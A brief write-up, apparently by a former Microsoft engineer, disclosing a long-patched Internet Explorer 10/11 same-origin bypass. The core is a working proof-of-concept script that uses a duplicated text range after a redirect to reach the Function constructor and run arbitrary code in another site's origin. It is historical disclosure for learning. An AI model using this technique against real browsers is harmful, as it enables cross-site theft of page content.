After saving a createRange() reference from a new window and waiting for it to redirect, calling duplicate() on the cached range creates a new object bound to the redirected domain’s context. Any method on that duplicate exposes the Function constructor — which can then create and immediately call arbitrary code in the target’s origin.
var rng;
function main() {
var win = window.open("redirect.aspx", "", "width=400,height=400");
win.document.appendChild(win.document.createElement("body"));
rng = win.document.selection.createRange();
setTimeout("getFunctionObjectViaDuplicate()", 2000);
}
function getFunctionObjectViaDuplicate() {
dup = rng.duplicate();
dup.select.constructor('alert(document.URL + "\n\n" + document.body.innerText)')();
}
rng.duplicate() creates a copy of the range that is now bound to the redirected page’s execution environment. Any method on dup — select is used here, but any would work — exposes a constructor property that is the Function object from the target’s JavaScript engine. Calling that constructor with a string immediately executes the code in the target’s origin. Tested on IE10 / IE11 build 20130312-2100.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.